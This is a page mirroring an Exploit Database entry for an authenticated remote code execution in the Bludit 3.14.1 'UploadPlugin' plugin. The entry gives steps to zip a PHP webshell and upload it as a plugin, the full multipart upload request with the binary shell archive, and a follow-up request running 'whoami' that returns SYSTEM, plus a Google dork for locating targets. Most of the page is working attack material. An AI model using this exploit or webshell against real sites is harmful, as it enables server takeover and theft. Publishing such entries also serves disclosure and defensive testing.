Bludit 3-14-1 Plugin ‘UploadPlugin’ – Remote Code Execution (RCE) (Authenticated)

• Exploit Database
• 105 阅读

• 作者： Alperen Ergel
  日期： 2023-03-31
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51160/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140

  # Exploit Title: Bludit 3-14-1 Plugin &apos;UploadPlugin&apos; - Remote Code Execution (RCE) (Authenticated) # Exploit Author: Alperen Ergel # Contact: @alpernae (IG/TW) # Software Homepage: https://www.bludit.com/ # Version : 3-14-1 # Tested on: windows 11 wampserver | Kali linux # Category: WebApp # Google Dork: intext:&apos;2022 Powered by Bludit&apos; # Date: 8.12.2022 ######## Description ######## # #Step 1 : Archive as a zip your webshell (example: payload.zip) #Step 2 : Login admin account and download &apos;UploadPlugin&apos; #Step 3 : Go to UploadPlugin section #Step 4 : Upload your zip #Step 5 : target/bl-plugins/[your_payload] # ######## Proof of Concept ########     ==============> START REQUEST <========================================   POST /admin/plugin/uploadplugin HTTP/2 Host: localhost Cookie: BLUDIT-KEY=ri91q86hhp7mia1o8lrth63kc4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------308003478615795926433430552264 Content-Length: 1820 Origin: https://036e-88-235-222-210.eu.ngrok.io Dnt: 1 Referer: https://036e-88-235-222-210.eu.ngrok.io/admin/plugin/uploadplugin Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Te: trailers   -----------------------------308003478615795926433430552264 Content-Disposition: form-data; name="tokenCSRF"   b6487f985b68f2ac2c2d79b4428dda44696d6231 -----------------------------308003478615795926433430552264 Content-Disposition: form-data; name="pluginorthemes"   plugins -----------------------------308003478615795926433430552264 Content-Disposition: form-data; name="zip_file"; filename="a.zip" Content-Type: application/zip   PK†eˆU a/PK ”fˆUÆ ª)¢Ä a/a.phpíVێÓ0}ç+La BÛìVܖpX®ËJ @V꺭!µƒíÒrûwl7É$mQyà‘<$©çÌÌ93ã¸È]ƒË·ï–óÒ=/. pÝãZ+M5/•¶BÎÈ0>©M†[jłÓB,„õtO̤Ҝ. ×4;’†e)¨ƒ¼Èה¯9[Z¡dðÆ „Œ&Âd <ó<code>÷+œN—’y¼Á RLÉE¾(í7â}âø‡_‡¥æ3OºÈ&apos;xð>A¯p‚pânÁã¤ëÀ×e¡&œük£‹¼$Øj±ØFýâ á@\@ªgxD¢Ì&apos;áôæQ?½v£ŸöG7ñùZgéññõ“ j±u \õ„±†à/ï¾Îޞ´×T™HÄZu™jœHkª‰È£û§gÑÅ,CÆêRâVjÅ5yùø%}q»ú­„Ä(ŽQK*Ë"Öï¡£;—Ò²·­6z²ZŸgXÊò¢ðíÄ&apos;éûù+ñÌ% µj,ÐäàN°ùf,_à8—“‹•[³˜lO€ScsmI«‡¬«H»¯*Sc?i”)i¹´&x@.&apos;”<—¤Ûç]zs^a®·)‚ hBz0;f rì‰þǸ0yÕU¥H"ÕÕÿI IØ\“t{có~€J©£ªä²Ë Ö÷š;dÁ³âÙlh†»s%Ç Ö8Nº+«}+Ž­ÿaºržŸŸžÂÂj. îvWS²A¿O?nHO?›jžO ¤Ã£Q+ì¯æí^ Ï e8©ô*Ô¾"ý¡@Ó2+ëÂ</code>÷ kC57j©&apos;Î"m ã®ho¹ xŸô Û;’œcçzÙQ Ë·[kô¿Ý¯-2ì~¨“æv©¥C€î‘Tþ#k2,UØSŽ¦€­OÁS£Øg˜‚úK †QˆÜ ØIϲòÖ`Ð:%F½$A"t;buOMr4Ýè~–eãΙåØXíÇm˜Ç(s 6A¸3,l>º <N®¦q{s __~t6á¾, ÅèçO´ÇÆ×Σv²±ãÿbÑڒ‘Ug[;pq ›eÓÜÅØÿéJ Ë}êv‚3ð8´# ŠOµsÈO«ýbƒh±ï°Ÿd—Ë ¹ÿˆ>yþðMröâÁSzöæõÃûÏÜû)}óàeºqQRrf}êê_D Ø0ìu’õv&apos;§öø?@‡ êûOæh&apos;˜Oœ8f—D¼5[à²=b~PK ?†eˆU $ €íAa/ þš®, Ù þš®, Ù €ø¨j. Ù PK ? ”fˆUÆ ª)¢Ä $€¤a/a.php ¤eÝ- Ù ÷C- Ù bj. Ù PK  ­ ç -----------------------------308003478615795926433430552264 Content-Disposition: form-data; name="submit"   Upload -----------------------------308003478615795926433430552264--     ==============> END REQUEST <========================================   ## WEB SHELL UPLOADED!   ==============> START RESPONSE <========================================   HTTP/2 200 OK Cache-Control: no-store, no-cache, must-revalidate Content-Type: text/html; charset=UTF-8 Date: Thu, 08 Dec 2022 18:01:43 GMT Expires: Thu, 19 Nov 1981 08:52:00 GMT Ngrok-Trace-Id: f3a92cc45b7ab0ae86e98157bb026ab4 Pragma: no-cache Server: Apache/2.4.51 (Win64) PHP/7.4.26 X-Powered-By: Bludit . . . .   ==============> END RESPONSE <========================================   # REQUEST THE WEB SHELL   ==============> START REQUEST <========================================   GET /bl-plugins/a/a.php?cmd=whoami HTTP/2 Host: localhost Cookie: BLUDIT-KEY=ri91q86hhp7mia1o8lrth63kc4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Dnt: 1 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Te: trailers   ==============> END REQUEST <========================================   ==============> START RESPONSE <========================================   HTTP/2 200 OK Content-Type: text/html; charset=UTF-8 Date: Thu, 08 Dec 2022 18:13:14 GMT Ngrok-Trace-Id: 30639fc66dcf46ebe29cc45cf1bf3919 Server: Apache/2.4.51 (Win64) PHP/7.4.26 X-Powered-By: PHP/7.4.26 Content-Length: 32   <pre>nt authority\system </pre>   ==============> END RESPONSE <========================================